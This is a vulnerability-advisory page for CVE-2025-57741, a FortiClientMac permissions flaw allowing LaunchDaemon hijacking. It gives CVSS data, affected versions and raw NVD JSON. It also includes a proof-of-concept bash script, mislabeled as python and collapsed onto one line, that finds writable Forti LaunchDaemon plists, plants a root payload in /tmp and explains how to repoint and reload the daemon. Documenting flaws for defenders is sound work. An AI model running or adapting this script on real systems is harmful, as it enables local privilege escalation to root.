Security Vulnerability Report
中文
CVE-2025-57741 CVSS 7.8 HIGH

CVE-2025-57741

Published: 2025-10-14 16:15:40
Last Modified: 2025-10-15 17:23:46

Description

An Incorrect Permission Assignment for Critical Resource vulnerability [CWE-732] in FortiClientMac 7.4.0 through 7.4.3, 7.2.0 through 7.2.11, 7.0 all versions may allow a local attacker to run arbitrary code or commands via LaunchDaemon hijacking.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:macos:*:* - VULNERABLE
cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:macos:*:* - VULNERABLE
FortiClientMac 7.0 所有版本
FortiClientMac 7.2.0 - 7.2.11
FortiClientMac 7.4.0 - 7.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-57741 - FortiClientMac LaunchDaemon Hijacking PoC # This PoC demonstrates the concept of exploiting incorrect permissions # on FortiClientMac LaunchDaemon plist files for local privilege escalation. # For authorized security testing and educational purposes only. # Step 1: Identify FortiClientMac LaunchDaemon files LAUNCH_DAEMONS="/Library/LaunchDaemons" FORTI_DAEMONS=$(ls -la "$LAUNCH_DAEMONS" 2>/dev/null | grep -i forti | awk '{print $9}') echo "[*] Searching for FortiClientMac LaunchDaemon files..." for daemon in $FORTI_DAEMONS; do PLIST_PATH="$LAUNCH_DAEMONS/$daemon" PERMS=$(stat -f "%Sp %Su %Sg" "$PLIST_PATH" 2>/dev/null) echo "[+] Found: $PLIST_PATH - Permissions: $PERMS" # Step 2: Check if the plist file is writable by current user if [ -w "$PLIST_PATH" ]; then echo "[!] VULNERABLE: $PLIST_PATH is writable by current user!" # Step 3: Extract the ProgramArguments from the original plist PROGRAM=$(defaults read "${PLIST_PATH%.plist}" Program 2>/dev/null) echo "[*] Original program path: $PROGRAM" # Step 4: Backup the original file cp "$PLIST_PATH" "${PLIST_PATH}.bak" # Step 5: Create malicious payload MALICIOUS_SCRIPT="/tmp/forti_payload.sh" cat > "$MALICIOUS_SCRIPT" << 'PAYLOAD' #!/bin/bash # Malicious payload - runs as root when LaunchDaemon is loaded /bin/bash -c 'id > /tmp/forti_pwned.txt; whoami >> /tmp/forti_pwned.txt' PAYLOAD chmod +x "$MALICIOUS_SCRIPT" # Step 6: Modify the plist to point to our malicious script # (In real exploitation, the attacker would modify the Program key) echo "[*] To exploit: modify ProgramArguments in $PLIST_PATH to point to $MALICIOUS_SCRIPT" echo "[*] Then reload: sudo launchctl unload $PLIST_PATH && sudo launchctl load $PLIST_PATH" echo "[*] Or wait for system reboot for the daemon to auto-load" fi done echo "[*] PoC demonstration complete."

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57741", "sourceIdentifier": "[email protected]", "published": "2025-10-14T16:15:40.457", "lastModified": "2025-10-15T17:23:46.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Incorrect Permission Assignment for Critical Resource vulnerability [CWE-732] in FortiClientMac 7.4.0 through 7.4.3, 7.2.0 through 7.2.11, 7.0 all versions may allow a local attacker to run arbitrary code or commands via LaunchDaemon hijacking."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:macos:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.2.12", "matchCriteriaId": "5EEC00BE-1931-499F-A348-EDC76132E1DC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:forticlient:*:*:*:*:*:macos:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.4", "matchCriteriaId": "35B10AC0-1B23-47AF-B176-1FAB17A32C3C"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-664", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}